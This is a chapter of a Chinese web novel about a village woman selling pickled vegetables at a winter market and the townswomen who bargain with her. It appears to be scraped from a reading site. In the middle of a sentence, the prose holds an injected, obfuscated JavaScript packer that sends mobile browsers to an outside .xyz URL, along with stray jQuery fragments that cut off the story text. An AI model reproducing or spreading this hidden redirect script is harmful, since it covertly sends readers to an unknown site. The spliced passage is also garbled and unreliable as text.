90. 第 90 章

作品:《垄上烟火

    且说周邻是否习得了李老爷子的一身本事,回到家的杏娘无暇探究,她正眉开眼笑窝在家数铜板,她要发财啦!


    这还要说到郑娘子身上,自打郑娘子开了一张大的单子,杏娘的小摊贩生意日渐萧条。


    加之天气越发严寒,冬日肚子里的饭食消耗快,总是感觉空荡荡的填不满。每到饭点就想吃一口热乎饭菜,喝一碗滚烫清汤,如此全身暖洋洋才好过冬。


    冰凉凉的酱菜生意就跟天气似的,一下给冻住了,有时连着三个集日只卖出去一坛。


    不过杏娘丝毫不见气馁,只当出门陪公爹摆摊,就算卖出个背篓那也是家里的进项,有进项就是赚的,她不嫌少。


    她就是这样一个人,决定了的事情就坚持到底。好不容易找到个来钱的营生,又正合她的长处,那是说什么都不能放弃。


    何况只半日的功夫,呆在家里前堂后院的转悠几圈,一个上午就过去了,还不如出门守着摊子呢。再不济,晌午时分去菜贩子那里溜达一圈,低价时令菜蔬收入囊中,捡漏也是会上瘾的。


    总之冷天出摊,除了冷一些累一些,百利而无一害,最适合她这种闲下来的乡下农妇。


    杏娘吐出一口热气,看它在空气中慢慢消散,天实在太冷了。早起坐船过来时,目之所及皆覆上一层白白的霜花,天地间仿佛披上了一件冰晶纱衣,估摸着过不了几天该下雪了。


    也不知道七哥什么时候回来,太晚的话,河里结冰上冻就行不了船了。


    杏娘摘下腰间的葫芦喝一口温水,身子顿时流过一阵暖意,这般干等着是越坐越冷。她揣着两只手挺直背脊,两脚在地上踩踏,正自乐呵,听到眼前传来熟悉的大嗓门。


    “就是这儿,我的酱菜就是在这里买的。”


    杏娘抬头,正对上郑娘子圆乎乎的满月脸。


    “丛娘子,你这一向生意可好啊?”


    杏娘忙站起身热情招呼:“郑娘子来啦,托您的福,还好。”


    走到提篮旁揭开坛子的盖:“您几位要买点什么,这两小坛是一斤装的酱菜,大坛的是酱,都是好辣椒制成的。”


    郑娘子在一旁帮腔:“她家的酱都是实打实的东西做成的,掺不了半分假。你们瞅瞅这颜色,醇厚红亮,哪是别家能比的。”


    杏娘对她感激点头,郑娘子使了个眼色,朝几个妇人努努嘴。


    这几个都是镇上小商铺的老板娘,生生练就了一双毒辣的眼睛。市面上的物件只拿眼一看,上手一摸,它的好坏就能分辨出个七、八成。


    这个小摊子看着不起眼,卖的酱却好,一走进揭开盖子就能闻到一股辛辣味。且坛子口干净,表面没有任何霉斑、白毛,也没有其他乱七八糟的脏污,就是纯粹的辣椒味道。


    几人对视一眼,其中一个嘴角有颗黑痣的妇人开口:“这酱看着也还行,就是干菜的种类是不是太少了,这两坛子是什么酱菜?”


    杏娘笑着道:“一坛酱萝卜干,另一坛是酱刀豆,我还带了一布袋的干菜,洋姜、藠头、榨菜都有。几位爱吃什么,我现拌了也是可以的。”


    几人又低声交谈几句,把小坛子抱在手里斜着往里看,问了一遭价格。


    仍是由黑痣的妇人道:“太贵了,杂货铺子里的酱菜份量比你的多,价格便宜了一半不止。你这也太贵了些,酱菜又不是鱼肉能当个大菜,顶多算个添头。”


    杏娘还没开口,郑娘子抢着答:“你可别拿那些腌臜货色来寒碜人,咱们明人不说暗话,大家都是铜钱眼儿里抠搜过来的。她家的酱怎么样,打眼一看一清二楚,食材本就是货真价实的东西,要是卖的贱了都对不住这天寒地冻守摊的辛酸。”


    妇人没好气瞥她一眼:“你到底是站哪边的?”


    郑娘子更是理直气壮:“我是帮理不帮亲,站在理这边的。你们是吃过我家里宴客的酒席,那个酱烧出来的菜,味道怎么样,大伙心里清楚。


    要不是你们几个求着我介绍卖酱的娘子,我稀罕搭理你们?丛娘子家里的酱本就不多,我都打算包圆了,现在被你们横插一脚,我已经够大方讲义气的了。”


    她大儿子前段时间娶亲宴客,她家的饭菜可是大大出了一回风头。酱色浓郁,辛香扑鼻,烧出来的菜味道格外的好,吃得人人竖大拇指。


    要不是因为这样,这几个小商铺的老板娘也不会缠磨着她打听买酱的所在。


    乡里人一年到头忙碌,家里有喜事的人家一般集中在冬日年前、年后的这段清闲时光。不光采买的鸡鸭鱼肉不易腐坏,也是为着人多热闹,一年见不了几次的亲人趁着大喜的日子好好亲香一番。


    酒席上的鱼肉吃多了,虽说不至于吃腻歪,但总归肚子里的五脏六腑不那么顺当。谁叫平日里油水吃得少,年节里这么大吃大喝扛不住啊!


    这时候桌上要是有一碟酱菜,不要求多,只小小一碟,一桌子人能抢得筷子打架。


    这才对嘛,就说这几天吃饭没胃口,菜都是往常做梦都想吃的,偏偏吃起来总觉得口淡,食欲不振。


    原来问题出在这里,怪道老是觉得少了点什么,原来少了平日里常吃的酱菜。


    家常过日子就是与酱菜为伍,天冷了吃得少了还怪想念的,一筷子下去酸辣开胃。鼓胀胀了好几天的肚皮瞬间瘪了下去,胃口大开啊!


    郑娘子家的喜宴人人叫好,去过的人没有不满意的,跟这碟小小的酱菜也有关系。


    每桌就那么一小碟,每人夹上两筷子就差不多清空了,再想吃却没多的。馋虫才被勾出来,还没过个嘴瘾呢,就没了。


    可不叫人抹嘴咂舌,念念不忘,来郑娘子跟前打听酱菜的妇人走一个,来一双。


    趁着年节办酒席的人何止一家,宴席办得好,亲朋好友吃得开怀,于主家是多大的体面,牙花子都能呲出来。现郑家的喜宴出了风头,镇上做生意的老板娘,掌柜媳妇少不得过来取经。


    原本她们是打算问清了地址自个过来买酱的,人多还能多多杀价。哪个摊贩愿意错过这老些顾客,即便少赚些银子怕也是愿意卖的。


    没成想郑娘子的口风不是一般的紧,死活不愿意说出在哪家买的酱,只丢出一句赶集日带她们过去。现下来是来了,却跟人老板娘是一伙的,专门给她们漏气,这还怎么占便宜?


    对此,郑娘子也很有话说,她自家就是做买卖的。


    别看卖猪肉简单,来钱也快,可从最开始的收猪、清洗、杀猪、到片肉,哪一步不是血淋淋,腥臭无比。


    要不是有根胡萝卜在眼前吊着,谁愿意干这臭烘烘的活计?


    想必丛娘子也是如此,夏天酷暑,冬天严寒地摆摊,不指着挣钱,难道是吃饱了撑着没事干吗?


    她得替丛娘子多揽些生意才是,只要多多地进账,丛娘子的酱菜生意就越做越大,还能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631362|168460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    少得了她家的酱吃?


    所以这些个婆娘别嫌她在这当个搅屎棍,她家的杀猪刀宰的就是这些人。为了自家吃的酱,少不得替丛娘子掌掌眼。


    还有一个叫她有恃无恐的原因就是,丛娘子的酱菜是独门手艺,别家想卖都卖不了。既想得实惠又想价格低廉,天底下哪有这般便宜的买卖。


    “王娘子,你家儿媳才生了大胖小子,明儿就要洗三了吧?到时他外祖母、舅母们定要过来庆贺一番,你家的酒席可准备好了?”


    郑娘子见她们站在一旁啰嗦个没完,心里肯定是想买的,碍于价格脸上挣扎不休,干脆拿其中一个妇人开刀。别家能等,缠磨压价,她家可等不得,再等下去儿媳娘家人该打上门了。


    王娘子讪讪一笑:“鱼肉果子点心都置办妥当了,这不是还差了个趁手的厨子,灶上手艺好的几个厨子早给人预定了。


    现下正是忙的时节,他们的单子都排到了年后,我家下手晚了,眼下正急着四处寻摸呢。实在不行,只得在族里找一个手艺还过得去的媳妇子顶上。”


    她的亲家母是远近闻名的碎嘴子,当初着实看差了眼,见她家姑娘是个温顺可人的性子,到处打听了也没甚差处,就迫不及待地迎进了门。


    儿媳是个好的,可她娘却是个大嘴巴。


    才结亲那会还看不大出来,后头家里做了几回事,亲家母的德行真个叫人叹为观止。


    印象最深刻的是她儿媳生头胎的时候,只因是个女孩,她儿媳就有点郁郁寡欢,怕不讨公婆的喜欢。为了安儿媳的心,她千方百计买了一棵梅花盆景送给她,就放在她房里的案几上。


    那盆景可好看了,朵朵红梅点缀枝丫,隐隐暗香缠绕其间。王娘子自个房里都舍不得放,只买了一盆给儿媳。


    那价钱还死贵死贵的,足足肉疼了好些天。


    没办法,儿媳能生下孩儿就说明身子骨没有问题,只要心胸开阔舒朗,怀上孙儿是迟早的事。眼下的当务之急是宽她的心,先开花后结果也没什么不好,她不着急。


    不成想王娘子是想开了,她亲家母倒拿乔上了。


    孙女洗三那天,从进门开始就横挑眉毛竖挑眼的,不是嫌弃给孙女的包被薄了,就是说她女儿猪蹄吃得少了,奶水不足。这些王娘子都一一忍了,大喜的日子两亲家说起嘴来,白白叫人看了笑话。


    她想息事宁人,亲家母却越发装腔作势。


    尤其看女儿房里的红梅不顺眼,一忽儿说颜色太艳,哪里是年轻小媳妇能用的,显轻浮。一忽儿说香味太浓,怪道她外孙女没睡好,原是呛到了鼻子。


    她不光自个嘀咕,她是见个人就说几嘴。


    一个上午的功夫,人人都知道她给儿媳房里添了个盆景,却是出力不讨好,亲家母不稀罕不说,还讨厌得紧。气得王娘子额头的青筋蹦跶了一整天,别人吃席她咽窝囊气,气都气饱了,一口水都喝不下。


    知道的说是出了门子的女儿生了闺女,当娘的来给女儿撑腰,免得受了婆家的怠慢。不知道的还以为两母女是仇人,专门给女儿添堵来了。


    王娘子忍了又忍,实在没忍住,干脆把儿媳房里的红梅搬到了堂屋案几上,叫人见了还能说几句好听话。


    你不稀罕是吧,自有那稀罕的人懂得欣赏!


    如此方出了一口恶气。


    她亲家母眉毛挑得老高,倒也不再火上浇油。